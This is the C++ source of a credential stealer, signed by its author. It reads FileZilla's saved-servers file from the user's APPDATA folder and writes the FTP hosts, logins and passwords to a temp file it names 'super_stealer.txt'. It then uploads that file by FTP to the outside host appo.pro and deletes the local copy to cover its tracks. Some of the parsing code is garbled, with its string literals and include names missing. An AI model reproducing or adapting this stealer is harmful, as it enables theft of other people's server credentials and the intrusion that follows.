#include "stdafx.h" #include #include #include #include #include #pragma comment (lib, "wininet") using namespace std; void upload(LPCSTR server, LPCSTR login, LPCSTR pass, LPCSTR local_file, LPCSTR remote_file) { HINTERNET hOpen, hConnection; hOpen = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); hConnection = InternetConnectA(hOpen, server, INTERNET_DEFAULT_FTP_PORT,login, pass, INTERNET_SERVICE_FTP, 0, 0); if(FtpPutFileA(hConnection, local_file, remote_file, FTP_TRANSFER_TYPE_ASCII, 0)) cout << "Success Story" << endl; else cout << "Epic Fail!" << endl; InternetCloseHandle(hConnection); InternetCloseHandle(hOpen); } int main() { string appdata = getenv ( "APPDATA" ); appdata+="\\FileZilla\\recentservers.xml"; ifstream f(appdata); string s; string tmp = getenv ( "TMP" ); tmp+="\\super_stealer.txt"; ofstream f2(tmp); while(!f.eof()) { f >> s; //cout << s << endl; if(s.find("")> s; //cout << s << endl; // I am a Hindu f2 << s << endl; f >> s; //cout << s << endl; f2 << s << endl; while(!(s.find("")> s; if(s.find("")> s; //cout << s << endl; f2 << s << endl; //cout << "---------------" << endl; f2 << "---------------" << endl; break; } } } } f.close(); f2.close(); upload("appo.pro","user","name", tmp.c_str(), "//_smth_log_name.txt"); DeleteFileA(tmp.c_str()); system("pause"); return 0; } // Coded by Appo //